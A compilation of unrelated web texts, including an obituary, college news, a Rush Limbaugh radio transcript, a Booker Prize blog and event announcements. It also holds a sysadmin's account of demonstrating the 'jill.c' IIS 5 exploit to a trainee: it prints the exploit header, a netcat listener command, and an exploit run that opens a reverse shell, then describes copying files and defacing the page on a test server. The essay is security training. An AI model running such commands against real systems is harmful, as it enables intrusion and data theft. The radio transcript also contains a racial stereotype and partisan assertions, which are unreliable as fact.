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CALAIS Lucille Willett MacLellan, 91, of Upper Curtis Pond Road, died Wednesday, March 13, 2013, at Central Vermont Medical Center in Berlin. Her family had been at her bedside.
Born Feb. 10, 1922, in Quincy, Mass., she was the daughter of Arthur and Clair (Fournier) Willett. She graduated from St. Michaels High School in 1940 and later from Vermont Junior College, both in Montpelier.
After World War II, she married Alexander MacLellan in Barre. Following their marriage, they resided in East Hartford, Conn., where she was employed as an actuarial statistician for the Hartford (Conn.) Insurance Group. Following their retirement in 1975, they returned to their present home on Curtis Pond where they had since resided. Alexander died July 9, 1998.
She enjoyed knitting, college basketball, swimming, was an avid Boston Celtics basketball fan and a member of St. Augustine Catholic Church in Montpelier.
Survivors include her son, Craig MacLellan, of Calais; two grandchildren, Lucas and Laura MacLellan, both in North Carolina; a sister-in-law, Rose Willett, in Burlington; and more distant relatives.
Besides her parents and her husband, Alexander, she was predeceased by her brother, Lionel Uncle Frenchy Willett.
Her Mass of Christian burial will be celebrated Wednesday, March 20, 2013, at 11 a.m. in St. Augustine Catholic Church in Montpelier.
Later interment will be made in the Vermont Veterans Memorial Cemetery in Randolph Center.
Arrangements are under the direction of the Hooker and Whitcomb Funeral Home, 7 Academy St., Barre.
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Find Your Passion: The Virtual Capstone
By Laura Doty
Students interested in The University of Alabama now have a new and exciting way to "tour" campus – through an online "world," known as Second Life.
UA student Tyler House is one of the architects behind this new opportunity.
Second Life, which opened to the public in 2003, is an online 3-D virtual world, according to its Web site. It has millions of participants, called residents, spanning the world. Different locales within Second Life are known as islands. The University of Alabama is one of many universities who are part of this virtual world.
House, a senior mechanical engineering major from Rogersville, Ala., is one student who is making the virtual tour a reality. House is recreating UA's Graves and Carmichael Halls into virtual images.
"The purpose of the island is to be used as an academic tool, which encompasses a few different things," House says.
These things include working on an online diploma from UA, conducting research through the island, as well as using the island as a recruiting tool. According to House, the recruiting aspect is meant to target anyone interested in the University, not just those already engaged in Second Life.
House first began working in Second Life in January 2008, thanks to Dr. Rick Houser, the department head of educational studies in psychology, research methodology & counseling. Houser submitted a research proposal for a student to learn to construct in Second Life.
"I spoke with Tyler about the project, and he was very interested in learning to build in Second Life," Houser says. "The goal we set was to construct replicas of Carmichael Hall, Graves Hall and Denny Chimes in Second Life on the UA College of Education island."
As a member of the Computer Based Honors Program, House is required to complete four semesters of research projects. He has completed the building of the halls, and he is now expanding his work, including through related research. According to House, visitors to the island will be able to participate in surveys or studies, and House and his colleagues will gather information based on their responses.
House works with Andrew Mitchell and Joseph Florence, both CBH students, as well as Dr. Steve Thoma, a professor in the educational psychology department.
"Dr. Steve Thoma is working with us, specifically on the morals/ethics research study. Dr. Thoma is a national expert on moral development and moral decision-making," Houser says.
House, who was not actively involved with Second Life before this project, says he has been a fan of computers since he was 9. His interest in computers recently increased, in large part because of his involvement in CBH and his having greater access to more powerful computers.
Utilization of technology is one reason that House thinks so many people are interested in Second Life and its online world.
"For the younger generation, I think it has a lot to do with everything being so technology driven," he says. "Cell phones, computers, iPods are all much more common now than they were even just a few years ago. Having this technology at your fingertips allows for virtual communities such as Second Life to become very popular."
Houser, on the other hand, thinks that Second Life appeals to people on a more basic level.
"I think others find this interesting because of the opportunities for creativity and completing something concrete with a visible outcome," Houser says.
The University of Alabama island on Second Life certainly is concrete thanks to Tyler House.
To learn more about Second Life, visit http://secondlife.com/.
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Doty is a graduate student in UA's College of Communication and Information Sciences, and she is pursuing a master's degree within the advertising and public relations program.
This story is part of the Find Your Passion series. To learn more about how you can find your passion at The University of Alabama, please visit UA Undergraduate Admissions.


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Personalized Aid Eligibility Before Applying
INDIANAPOLIS, IN – April 21, 2011 — West Virginia's college-bound students and their families will soon have a clearer picture of their real cost of attending 13 of the state's public colleges. The West Virginia Higher Education Policy Commission (WVHEPC) and the West Virginia Council for Community and Technical College Education (WVCTCE) are supporting the implementation of sophisticated, online net price calculators (NPC) that will estimate merit and need-based aid at Bluefield State College and 12 other institutions for prospective college students before they apply to the colleges.
The Higher Education Opportunity Act of 2008 requires the nation's 6,800 post-secondary institutions that receive Title IV federal student aid funds to post a net price calculator on their Web sites by October 29, 2011. Net price is an individual's estimated education cost after subtracting the merit and need-based federal, state, and institutional grants, which a student is eligible to receive, from a college's published cost of attendance, an amount also referred to as "sticker price."
Student Aid Services, the nation's leading provider of net price calculators, won a contract to provide Commission and Council supported advanced calculators customized for Bluefield State College of Bluefield, Concord University of Athens, Fairmont State University and Pierpont Community and Technical College of Fairmont, Glenville State College of Glenville, Marshall University and Mountwest Community and Technical College of Huntington, Shepherd University of Shepherdstown, West Liberty University of West Liberty, West Virginia State University and Kanawha Valley Community and Technical College of Institute, Bridgemont Community and Technical College of Montgomery, and West Virginia Northern Community College of Wheeling.
Student Aid Services currently serves 294 client campuses nationwide. Its NPC technology provides much more personalized, accurate cost information to students and their families than the minimum requirements of federal NPC mandate.
"Leaders at the Commission and the Council determined West Virginia will be a national leader in giving students and their families more and better early information about their cost of college," said Jeff Whorley, president of Student Aid Services. "An education at these 13 colleges can be more affordable than many students believe. These net price calculators are especially effective at delivering the important message of education value at these institutions."
A net price calculator tailored for each college's financial aid policies will be available on each institution's Web site by this summer. Whorley said the 13 public West Virginia colleges will be among the first in the nation to calculate Post-9/11 GI Bill benefits for veterans and current service members. He also noted that West Virginia Northern Community College is likely to be the first public college in the nation to install a federally-compliant calculator that fully provides cost estimates for non-traditional students, such as working adults who will attend college part-time.
All NPCs offered through the WVHEPC and the CTC Council initiative will calculate all merit and need-based student aid available at institutions including the West Virginia PROMISE Scholarship, the Higher Education Grant, the Underwood-Smith Teachers' Scholarship, all nine federal programs, the Post-9/11 GI Bill and Yellow Ribbon Program military education benefits, and each institution's grants, scholarships, and work-study student aid.
Last year, West Virginia University of Morgantown and Potomac State College of Keyser selected Student Aid Services as their custom NPC provider.
"West Virginia University and Potomac State were early innovators of user-friendly college cost estimation for prospective students and it's clear that the trend is continuing with other institutions in the state," Whorley said.
In addition, West Virginia Wesleyan College of Buckhannon, a private institution, also will post a custom net price calculator created by Student Aid Services.
About the West Virginia Higher Education Policy Commission
The West Virginia Higher Education Policy Commission (WVHEPC) is responsible for developing, establishing, and overseeing the implementation of a public policy agenda for the state's colleges and universities. It is charged with oversight of higher education institutions to ensure they are accomplishing their missions and implementing the provisions set by state statute. For more information, visit http://wvhepcnew.wvnet.edu/ or contact Kevin Walthers, Ph.D., vice chancellor for administration, at 304-558-4016.
About the West Virginia Council for Community and Technical College Education
The mission of the Community and Technical College System of West Virginia is to deliver affordable, accessible high quality education and training that dynamically advances the economic and social development of West Virginia. For more information, visit http://www.wvctcs.org/.
About Student Aid Services, Inc.
Student Aid Services, Inc. is the nation's leading net price calculator provider with 294 campus NPCs in use or being built nationwide. The company's advanced technology – the ThinkAhead™ Net Price Calculator – is customized to post-secondary institutions' needs and budget so those colleges and universities can offer prospective and current students accurate aid eligibility, net price, and out-of-pocket cost estimates. Student Aid Services is a private company with offices in Indianapolis, Indiana and Sacramento, California. Its affiliate, StudentAid.com, provides consumers side-by-side comparisons of aid eligibility, net prices, and out-of-pocket costs for colleges of their choice as an early step in college planning. www.studentaidservices.com
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Student Aid Services, studentaid.com, and ThinkAhead are trademarks of Student Aid Services, Inc., in the United States, other countries, or both. Other company, product, or service names may be trademarks or service marks of others.
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RUSH: Brad in Quincy, Michigan. Everybody knows Quincy is in Illinois. Snerdley finds these -- nothing wrong with Quincy, Michigan, just nobody ever heard of it 'til Snerdley got a call from there. No offense here, Brad, I'm just mouthing off. How are you?
CALLER: I'm good.
RUSH: Good. Welcome to the program.
CALLER: Yes, Rush. I just wanted to run a funny kind of thing past you, at least in my mind. Years ago, about 33, I got hired in to the Ohio state auditor's office as the token Republican and luckily my boss was a token Republican, so we got along pretty well. Well, one day I was called in to the office and a fellow employee was in there for disciplinary action, so they had me come in as a witness. And my boss, before things got so politically correct was very direct and asked the token employee, he said, "Listen, John," which is not his real name, but I have to be careful, he asked the token employee, "John, we have a problem here. You are either lazy, you're incompetent, or you're a liar, or, D --"
RUSH: Brad, hang on. I gotta take a break here. Don't go away. We're going to get your call when we come back. Obama applied for a job or was working in Quincy, Michigan, 33 years ago?
RUSH: We are back to Brad in Quincy, Michigan. So you're in there, you've got the token boss and you're the token employee, and somebody else is being called on the carpet. Pick up the story where I had to interrupt you.
CALLER: Well, anyway my boss asked the employee, "John, we have problems here. You are either lazy, you are incompetent, you're a liar, or, D, you're all three." Now, in your opinion would you pick A, B, C, or D on Obama? Or would you -- well, I guess that's the question.
RUSH: Well, is he incompetent and/or liar and/or lazy?
CALLER: Yes, correct.
RUSH: Yeah, but I mean so are a lot of people. I think to get to Obama we need to go a little bit deeper. Let me focus mostly on the lazy. Because I think the lazy -- for example, here he's on his sixth vacation, he really doesn't appear to work very hard, gets to the Oval Orifice at 9:30 in the morning. Bush got in there at seven. Reagan got in there at seven, took a nap at 7:15, got back to work at ten -- just kidding. Tweaking the left. Bush got in there early, Obama is late, he doesn't spend a lot of time in there. I don't think it's laziness. I think it is arrogance. I think Obama thinks of himself as above the job. I don't think he likes the job as much as he thought he was going to like it. I don't think he likes the White House. I think he looks at the White House as confining. I think one of the reasons all these vacations is he gets outta there. He and his wife do not like living there. To them the White House is not a great piece of honor, it's a prison, and a lot of presidents have felt that it's a prison, but to them it's like some African-Americans, "Fourth of July ain't no big deal to me, yo." Well, the White House, to a lot of African-Americans, same thing. I mean there's a lot of stuff that came out of there by presidents that were in there that they're not particularly happy about.
If I were president you couldn't get me out of the place and I'd be up to all hours walking through every nook and cranny to learn as much about the place as I could. I would have the historian escorting me, "Okay, why is this room, what happened in here, why are these things on the wall." I'd want to know everything about the place. I would want to learn such things as the Lincoln Bedroom is not a bedroom. It wasn't Lincoln's. Lincoln's bedroom is the second floor, where Lincoln's office was. There was no West Wing. So the president's office was on the residential floor upstairs and I don't even know if it was a residential floor at the time Lincoln was president. His office was up there. You know I have spent the night in the Lincoln Bedroom, right across the hall from it is the queen's bedroom and there are two or three guest bedrooms.
One of the funny stories that I remember is that after my night, it was in 1992 in the summertime that I'd spent the night in the White House. George H. W. Bush was president. Roger Ailes and I spent the night there that night, and I got to know the usher, they were all big fans. And it was like a hotel room, you could have a wake-up call. This was on the same floor that the president and his wife live. It's a big floor, obviously, but you could order coffee from, quote, unquote, room service. A uniformed steward would bring it to you and I got to know all these people. And when Clinton won the election I remember Harry Thomason and his wife Linda Bloodworth-Thomason talking about how they couldn't wait to sleep in the Lincoln Bedroom after Clinton was inaugurated. So through channels I reached people that I had met in the White House, "Could I leave a note that you would leave for Harry and Linda on the pillow in the Lincoln Bedroom the night that they're in there?" And it happened to be inauguration weekend I think that they spent. It took a while but in a couple weeks they came back and they said, sure. So I wrote a note, and the note said, "Dear Harry and Linda: Never forget this. I was here first, and I will be back. Signed, your buddy, Rush."
I put it in an envelope and then you just wonder if it ever happens. So not long after the immaculation, the inauguration, Harry Thomason is on C-SPAN and he tells the story. "Yeah, so Linda and I get in the Lincoln Bedroom, it's a long night, we get in there and when we pull the covers back there's an envelope on the pillow. So we open it up and it's a note from Rush Limbaugh." I heard this, and I said, "Yes!" Then I knew they had seen the note. You couldn't keep me out of the place. When vacation time came, yeah, I might leave, go play golf or whatever at Camp David, but Christmastime, I would be there, what a beautiful time, Thanksgiving, I would be there. Easter, I would be there. I would invite friends and family there. They would consider it an honor, too. This bunch gets outta there as fast as they can. Another reason I wouldn't travel on Christmas, the Secret Service, half of them wouldn't have to go and leave their families, but that's just me.
I know this is a roundabout answer, but I think Obama is spoiled. I think his entire life he has been told how special he is and he has believed it. And I think for reasons which are very, very obvious to me, that I'm not gonna spend time detailing, I think Obama's had so many guardian angels, this was a guy who, frankly, was never going to be allowed to fail. That's why when I said "I hope he fails" they all had the proverbial cow, because if Obama's at Harvard and does C or D work he's gonna get an A, there's somebody covering for him at every step of the way. Charmed life or what have you, for whatever reason. I know the reasons, I'm not going to waste time explaining them. It would be a great media tweak but they wouldn't get it. So is that laziness or is it -- Obama, I think he wants to run the world. The White House, this country is too small, too small for him. As to incompetent, that's like, is he smart or dumb? We have to define competent. If his purpose is to restructure the American economy from capitalism to socialism, he's pretty competent. If he really is serious and thinks he's got the best ideas on creating jobs, then he's incompetent. So to answer that we'd have to know what his real purpose is, rather than just surmise. I'm pretty sure I know what his purpose is. Nobody who really wanted to create jobs, revive an economy would do what he's doing and stick to it.
Now, liar? He's a Democrat. What more do you need to know? He's a liberal. What more do you need to know? He's a socialist. What more do you need to know? By definition they have to lie. If Obama had told you what his plans were, he would not got 30% of the vote. No liberal ever would. So as usual a question like that is not easily answerable without getting into much detail. In fact, Jennifer Rubin way back -- I kept this because she wrote something that is right along the lines of what I think about Obama. This is August 19th in Commentary: "The Perils of Praise ... To be blunt, Obama suffers from a lifetime of others excessively praising his intellect. It insulates him from ideas and facts that conflict with his pre-existing liberal rubric (so 'every economist' believed his stimulus would work). It leaves him unprepared to engage in real debate with informed opponents (e.g. the health-care summit)." He didn't know what to do with Paul Ryan, other than to stare daggers at him. "It skews his understanding of how geopolitics works, as he imagines that his own wonderfulness can sway adversaries and override nations' fundamental interests (the Middle East)." He really thought that his presence alone would so dazzle Mahmoud Ahmadinejad that he'd give up the nuclear program, really thought that.
Jennifer Rubin believes he really believes this. So he's delusional. But he believes this because he's been told. This is like Tiger Woods' dad, if you'll recall, said that Tiger was going to be bigger than Nelson Mandela, was going to have a bigger impact on bringing people together, and I'm listening to this, "Okay, a dad's a dad and a father is a father." There's no way Tiger Woods is going to endanger any endorsements by entering the Nelson Mandela world. You remember Margaret Carlson when Obama had blundered into this mosque business and at the iftar dinner at the White House made it clear he supports the Hamasque being built there. Well, it's time for the media to get in gear. Margaret Carlson said he's too smart for us. He is so supremely confident in his intellect that he forgets his way to the correct decision to slow down and pick up all of us not-so-gifted stragglers. That's what she honestly believes. And Matthews, a lot of these people believe that he's so smart we can't keep up with him. And I'm sure people all of his life have thought that and told him that. So he's grown up believing it. He's delusional.
Tiger Woods' dad said he would bring more people together than Mandela. And in a physical sense that may be true. Did you hear Tiger shot the best round of golf today? The first day after his divorce was final or second day, best round of golf since the whole thing happened last Thanksgiving. He shot a 65 today in the Barclays, which is in New Jersey. Best round of golf occurs after the divorce with Elin is final. What it tells me is the sportswriter community is just panting, hoping that this means Tiger's back, that he wins the tournament, goes on and makes the Ryder Cup team with no controversy attached to it. It doesn't tell me anything else, Snerdley. It doesn't tell me anything else.


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May 1, 2001, 3:15 p.m. The announcement of an IIS 5 system-level compromise hits BugTraq. We have a slew of vulnerable systems, but only one system that can be accessed beyond the firewall. Unfortunately, it's one everybody uses continuously.
Normally I would boot everyone off the system, and patch and reboot while letting user complaints slide off. Unfortunately, it's about time that our new Microsoft security trainee gets a chance to show his stuff. He's a rather experienced administrator, but new to the security aspect of this business.
There are days I really hate having a security trainee. You can prep them, train them, and coach them all you want. But someday, you have to step back and see if they hang themselves or, worse, hang your network.
I tail the firewall log to watch traffic to and from the server, pipe it through
grep to get rid of anything inbound on port 80, and watch for outgoing connections to evil.hackers.org. Fortunately, nothing should be going out from this machine other than Web pages. I decide to give the new guy 30 minutes to notice the Microsoft announcement before I give up and announce that I'm either going to patch it myself or shut down external access to this host.
3:25 p.m. I've revised the
grep statement a dozen times, and am still going cross-eyed. It doesn't help that I have no real idea what sort of traffic I'm looking for, merely "anything weird." Fortunately the trainee walks up to me and says, "Uh, this looks bad ..."
I don't care how bad it looks, I get to stop watching packet streams for an attacker.
So we kick everyone off the server, basically shutting down the office while we apply the patch, verify that everything still works, and let everyone back on. Total work time lost; 30 minutes. Times 100 people, yes; but 30 minutes isn't that bad for an IT emergency. Users grumble about doing maintenance in the middle of the day, then subside.
I developed my security attitude the first time a system I was responsible for was hacked and my account was used to post a Usenet message taking credit for the hack. (I'd have to say that this particular hacker was entirely justified, but that's another story.) That sick feeling in the pit of my stomach remained for days. Because I have a large stomach, it was a pretty large sick feeling. That hack was the most effective attitude training possible. Books and FAQs about preventing and detecting intrusions are nice, but there's nothing like a good, hard boot to the gut to make it really sink in.
Unfortunately, management frowns on me kicking the junior guys.
May 4, 7 a.m. I toddle down to my desk, plug in, and download my mail. This morning's Special BugTraq Surprise is an exploit for the hole we just patched. I'm not going to reprint the whole thing here, just the head of the file.
/* IIS 5 remote .printer overflow. "jill.c" (don't ask).
* by: dark spyrit <email@example.com>
* respect to eeye for finding this one - nice work.
* shouts to halvar, neofight and the beavuh bitchez.
* this exploit overwrites an exception frame to control
* eip and get to our code.. the code then locates the
* pointer to our larger buffer and execs.
* usage: jill <victim host> <victim port> <attacker host> <attacker port>
* the shellcode spawns a reverse cmd shell.. so you need
* ro set up a netcat listener on the host you control.
* Ex: nc -l -p <attacker port> -vv
We learn when something is reinforced. So far, the trainee has learned that implementing security patches brings pain from griping users.
Knowing an exploit exists is one thing; seeing it in action is another. It's time for some reinforcement in the other direction.
The only thing I'm missing is
netcat. That's simple enough to install on FreeBSD:
cd /usr/ports/security/netcat && make install. It's finished well before the trainee comes in.
When he arrives, I show him the BugTraq message. We've discussed BugTraq before, and about the fact that stuff posted there has frequently been circulating in the 3L33T underground for weeks.
By a stroke of luck, we had an IIS 5 server that wasn't in production yet.
The trainee was sitting right next to me as I compiled the exploit.
# cc -ojill jill.c
-ojill wasn't necessary, but I already had an
a.out that I didn't want to overwrite.
In one terminal, I open up a
netcat window exactly as it's shown in the example.
#nc -l -p 6666 -vv
listening on [any] 6666 ...
The command prompt doesn't return, as
netcat is waiting for an incoming connection. I switch xterms and fire up my straight-from-the-Net exploit.
#./jill victimserver 80 192.168.8.234 6666
iis5 remote .printer overflow.
dark spyrit <firstname.lastname@example.com> / beavuh labs.
you may need to send a carriage on your listener if
the shell doesn't appear.
have fun!
On the other xterm, we abruptly saw:
connect to [192.168.8.234] from victimserver.domain.com [192.168.8.254] 1062
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
I believe that the expression is, "You have been r00ted".
The trainee's eyes get just a little wider as I proceed to walk through the filesystem, find some nifty-looking private corporate documents, and copy them to a hidden directory I created under
wwwroot. On the 2K console, we created a directory that everyone was denied access to. Everyone but our exploit shell, that's it. I renamed
xcopy.exe to
youvebeenhacked.exe, and changed the
index.htm page to my page from blackhelicopters.org, just because I could.
While nothing can really take the place of the good solid smack that a real hack provides, seeing just how easy it can be is as close as you can get without going home and breaking in yourself. Perhaps you can't hard-temper the new guys, but you can season them a little.
While I recommend this training technique, you must be careful. Don't run exploits you don't understand -- they can easily contain trojans or other nasty surprises. Never run a binary-only exploit, unless you want an interesting story to tell at your next job. And be sure you use them only on test systems you can either patch or reformat. If you want to learn if you're vulnerable to a hack, you're much better off getting Nessus or some other security scanner.
Your target operating system doesn't matter. If I had an exploit for the recent NTP hole on one of my beloved FreeBSD boxes, I would have used that. The purpose of this project is to make a point, as forcefully as possible, not OS evangelism. Admittedly, Windows 2000 is an easy target, but use whatever's convenient.
To my surprise, I wound up repeating this demonstration half a dozen times. This particular exploit was ideal -- it had simple instructions right in the file, and it was simple enough that even someone from the sales department could have done it. I showed every network engineer, as they're each being trained to handle security for their areas of responsibility. I even demonstrated this to some of the salespeople.
User education is a wonderful thing. The junior system admins understand a little more deeply why security patches must be applied immediately -- a little reinforcement never hurts. Some non-technical people understood why, exactly, the senior system administrator frequently had his teeth clenched and a spastic twitch in his left eye. Plus, they understood the importance of security patches. The next time I inconveniently "down" a server to apply a security patch, there won't be nearly as much grumbling.
Oh, wait a minute. I won't be taking down the server. That's what the ex-trainee is for. Maybe I can give him the spastic eye twitch, too.
Michael W. Lucas
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Phew what a pain in the butt this was but it's finally done and over with. DVD variant I wanna do will have the corrections that I needed to do in the stream that I just don't wanna mess with again.
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……….To much publicity, controversy, chagrin and the odd bit of pompous crap, the Booker Prize list for 2012 was announced 2 days ago. After 48 hours I've already enjoyed reading some really good articles and blog posts about the Booker longlist for this year – mind you I've skimmed a few as well!
So in getting round to writing about it 2 days later, I think I'm pretty slow. No doubt every angle of the Booker list has been covered – but as the American politician and one time Presidential candidate Mo Udall said of a US political debate, "Everything that can be said on this topic has been said – but not everyone has said it yet!!" Well, I'm writing my Booker Longlist twopence worth in exactly that spirit!!!!!
So my challenge to myself is to write something fresh about the Man Booker when everything has already been written – that's where Donald comes in. For those of you who don't know, Donald Rumsfeld was US Defence Secretary twice, latterly under George Bush (a time which might aptly have been celebrated by the Specials singing their classic song "The Lunatics Have Taken Over The Asylum!). As well as slightly-to-the-right-of-Genghis-Khan political beliefs, Donald Rumsfeld was also well-known for his, what you might call "way with words!". And I'm using one of those classic Donald speeches to guide you through the Man Booker Longlist for 2012.
The Donald Rumsfeld Guide To The Man Booker Prize 2012
It seems to me that one of Donald's most famous speeches lends itself perfectly to a personal review of the Man Booker Prize 2012 longlist.
"Reports that say that something hasn't happened are always interesting to me, because as we know, there are known knowns; there are things we know we know. We also know there are known unknowns; that is to say we know there are some things we do not know. But there are also unknown unknowns — the ones we don't know we don't know."
Like a knife through butter (and an axe through logic and a sledgehammer through the beauty of the English language) Donald Rumsfeld allows me to strip the Booker list instantly into its three key components – and as I hope to show by the end, this isn't just some random categorisation! I'm talking about a sociological truth, an indisputable law of book nature, and I think I have the evidence to prove it!
Category 1. Donald's Known Knowns
These are the books that I know that I know. That's to say I've read them, I know I've read them, and knowing I've read them means I know whether or not I think it deserved to be on the list – though of course at this stage known knowns can only be compared with other known knowns, as it would be unfair to compare them with known unknowns and impossible to compare them with unknown unknowns! Still with me?!
So my known knowns are:
Bring Up The Bodies by Hilary Mantel. (Great book – really loved it!)
And that's it I'm afraid! At this stage I haven't read any of the other books on the list – but I'm glad this one made it. And that's not me comparing it to known unknowns or unknown unknowns – that's me comparing it to all the other known knowns I've read this year which didn't make the list!
Category 2. Donald's (Completely, Or Slightly) Known Unknowns
Now some of these are books where I know the author but don't know the actual book itself. And the reason is they are famous. So they are known but the book is unknown. So my Completely Known Unknowns are:
Umbrella by Will Self (Mmmmm – Will Self always seems a miserable git really – will wait and see if this makes the shortlist before I decide whether or not to read it – secretly and irrationally I hope it won't!)
And that's it I'm afraid! Will Self is certainly well known to me but his books are absolutely unknown to me. I've read articles in newspapers and magazines and seen him on TV – not my cup of tea I fear!
On the slightly known unknown front, these are books I know of, by authors I know of, but not specifically books I actually know or authors I actually know! So my Slightly Known Unknowns are:
Skios by Michael Frayn (I saw this mega-cheap in the Oxfam bookshop on Wednesday and decided against buying it – am now kicking myself!!)
The Unlikely Pilgrimage Of Harold Fry by Rachel Joyce (this is in my 'What Next' pile and I've read great reviews of it elsewhere so it will be getting promoted up the queue!)
Category 3. Donald's Unknown Unknowns
These are books I've never really heard of, by authors I've never really heard of – till now!
The Yips by Nicola Barker (I was given her novel Darkmans as a gift but it seems to be one of those books with lead weights in it – I've never plucked up the energy to read it – I can barely lift it! If this weighs less I might have a go at it!)
The Lighthouse by Alison Moore (apparently part of the story is a man on a restorative walking holiday with "events" unfolding around him – sounds like a perfect book for the evil Kindle so I can read about all that walking while I'm walking the dog!)
Narcopolis by Jeet Thayil ( A story about a Mumbai opium den and its users which the review in the Guardian in February likened to an opium-induced dream – and as I am always up for an opium induced dream, I think this will be a definite for me!)
Communion Town by Sam Thompson (which tells the story of a city – possibly New York or London – told from the perspective of 10 different characters – not sure about this one yet!)
Philida by Andre Brink (one of the very few non-British authors on this year's list with a story about a slave in South Africa in the 1830's – I can find no real reviews of it but something about it sounds good – another one I think I'll read myself!)
The Garden Of Evening Mists by Tan Twan Eng (another non-British author and perhaps one I should have heard of as a previous book of his was nominated for the Booker in 2007 – but I didn't pay as much attention to the Booker back then!)
Swimming Home by Deborah Levy (The review I read of this makes it sound like an intriguing possible! It's about a middle class family, holidaying in France, who find a woman swimming in their pool. She stays with them and the novel charts what happens from there! However, in addition to the review, the book also apparently has an introduction by Tom McCarthy. I recently read and absolutely loved his novel "C" – so if Tom McCarthy likes it then this moves from an intriguing possible to a dead cert for me!)
The Teleportation Accident by Ned Beauman (It's a great title – but I'm wary of some novels with great titles as in my experience the odds are 50:50-ish that the inside won't live up to the promise of the great title! And to provide further evidence to support my 50:50 notion a review of this book a few days ago in The Independent compared it to the work of David Mitchell and Jennifer Egan – for me I loved Mitchell's One Thousand Autumns of Jacob de Zoet and thought Jennifer Egan's Welcome To The Goon Squad was awful! 50:50!!! I'll stay in two minds about this for a while!)
The consequence of all this is that knowing so few of the books on the shortlist has been a blow to my intellectual ego – in fact my "fiction" intelligence is feeling a bit like poor old Donald Rumsfeld! I can't help asking myself how come I read so much, write a fair bit now about reading, read a fair bit about what other people write about what they are reading and I've still read only one of the Booker short list and even worse haven't heard of most of them!!!!!!
But Donald has the answer – f0r I think I can prove that the unknown unknown syndrome is pretty common among us, the reading public. And here's my evidence.
I looked this morning at an on-line poll in The Telegraph "Books" section asking who we fiction fans think will win the Booker for 2012 – and the leader, by a country mile, is Hilary Mantel! Now is that because most of the respondents could say all twelve books were known knowns and they think Hilary's is the best?! Or is it because they'd only heard of one or two and, like me, the rest were unknown unknowns to them!
Need further proof? Well, lo and behold, look at the next three places in the poll – Micheal Frayn, followed by Rachel Joyce and Will Self – my known unknowns. And finally, bumping along the bottom, pretty much evenly, are all those unknown unknowns.
So it's proven – it would seem that Donald Rumsfeld holds the key to understanding the Booker and the book reading public after all!!!
And who will win? The bookies favourite is of course Hilary Mantel (and why wouldn't she be – if she's the only bloody known known for most of us avid readers and book bloggers, then there's no chance the bookies have heard of any of the others either!!!)
But to be sure, before you part with your money by betting unwisely, I'd like to go back to Donald Rumsfeld for the answer to the question of who will win! As Donald also one said:
"If I know the answer I'll tell you the answer. If I don't, I'll just respond cleverly!".
So that tells you two things – I've no idea who will win and neither does everyone else – but my clever response money is on a book from the unknown unknown list – and that will allow the final part of Donald Rumsfeld's Guide to the Man Booker Prize to be used:
"I would not say that the future is necessarily less predictable than the past. I think the past was not predictable when it started."
That my friends tells you the winner will be Nicola Barker – at the moment that doesn't look obvious because it's the future, but when it's the past, you'll look back, read this post and think – well I never. Good old Donald Rumsfeld! Now why the hell didn't I predict that too!!!!!!!


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I am due in 3 weeks with our third child. I have been unable to breastfeed either of my 2 sons and really want to breastfeed this (last) one. I seem to get a small amount of colustrum in, but have never gotten my milk. I met with a lactation consultant 4-5 days after leaving the hospital the first time, and she helped me pump correctly for 45 minutes, and we had less than 3 centimeters of fluid. He ended up having a severe case of "failure to thrive" and we put him on formula that day. The last time I tried again (nipple shield, pumping, exclusively feeding breastmilk -no supplementing, herbal tea, etc.) but still didn't produce an adequate supply of milk.
My current midwife has suggested Reglen. Has anyone had experience with this or any other methods to correct severe production problems?


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Delaware River Sojourn sets a record
June 26, 2013 —
UPPER DELAWARE VALLEY — On June 24, which was day three of the 19th annual Delaware River Sojourn, after a day full of paddling on the river, Aiden Drusedum took the opportunity to broaden his skill set. Surrounded by four members of the National Park Service interpretive staff, Drusedum several times leaned his body over the side, upended his kayak and was turned upside down with his head underwater.
When he did not come up on the other side right away, his companions righted his kayak, and he prepared for the exercise again. On the final attempt, he managed the right balance of muscle and paddle and circled around, down and back up without the aide of his companions. Witnesses on the shore shouted their approval.
Drusedum has been taking part in the Sojourn for five years, and this is his first year as a member of the National Canoe Safety Patrol.
His training was one of the many events that happens at the Delaware River Sojourn that has hundreds of paddlers coming back year after year, and also attracting new ones.
Deejay Branch, a member of the Delaware River Sojourn Committee, said the event set a record this year. He said, "We topped out with 111 people on our second day, we had 87 on our first and 97 today." With great weather he said, "we have had an amazing time so far."


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The Rising Star Science Fiction and Fantasy Convention will be celebrating its 21st anniversary at the Harris-Jefferson Student Center on the campus of Bluefield State College, Friday evening, October 26 and Saturday, October 27. The event will showcase skill-building workshops in areas as diverse as art, robotics and medieval/renaissance swordsmanship. Fandoms as diverse as horror movies, Star Wars, and My Little Pony: Friendship is Magic will find something of interest throughout the weekend.
Rising Star, which spent most of its history in the Roanoke Valley, moved to the Bluefield area around 2005, when staff membership shifted from the Roanoke Valley to the Montgomery, Giles and Mercer County areas. About that same time, the operation of the convention switched hands to the members of the USS Yeager chapter of Starfleet, which has operated on the Bluefield State College campus since 1984. Changing the venue from the Roanoke County Schools to Bluefield State College seemed a logical idea.
Rising Star takes pride in being a "family" convention. Activities at this year's convention range from a "Making Spacescape Paintings" workshop being led by local artist Mark Davis, to a "Zombie Makeup" workshop, being led by local makeup artist Chris DeHart. Panels and presentations include a discussion of paranormal investigation led by members of the Black Diamond Paranormal Society who have been featured on the Biography Channel series "My Ghost Story,"a panel on creating webcomics featuring Chris Impink and Barb Fischer of Studio Unseen. Entertainment and a workshop on creating "filk" music will be presented by songwriter/musician Keith Brinegar, who performs under the stage name White Plectrum. Other local talents will include authors Stephen Sheets and Dan Catron, comic artist and writer Dan Delby, and author and retired journalist Paul Dellinger.
Ashley Holohan is a popular regional artist and a graduate of Virginia Tech. Though marriage and work have taken her out of the area, she has managed to make time in her schedule to rejoin us once again from the suburbs of Chicago. Her artwork, ranging from keychains and luggage tags to full-sized original pieces is always a popular draw.
Science Fiction fans are also fans of real science, and that interest is well represented by the members of the Bluefield State College Robotics Team. Winners of many awards at the regional and national level, the members of this local undergraduate college team manage to hold their own and then some against teams which are often composed of postgraduate engineering students.
Though they tend to maintain a low profile, there are a number of fannish organizations in the region who are always on the lookout for potential new members. They will have tables in the cafeteria area, and will also be taking part in a "Meet and Greet" on Saturday afternoon. Among the groups expected to attend are Starfleet- represented of course by the USS Yeager, The Imperial 501st (Vader's Fist), Abingdon Historical Combat, Clockwork Command (a Steampunk group), Black Diamond Paranormal Society, and Mysticon, a sister convention in the Roanoke, VA area.
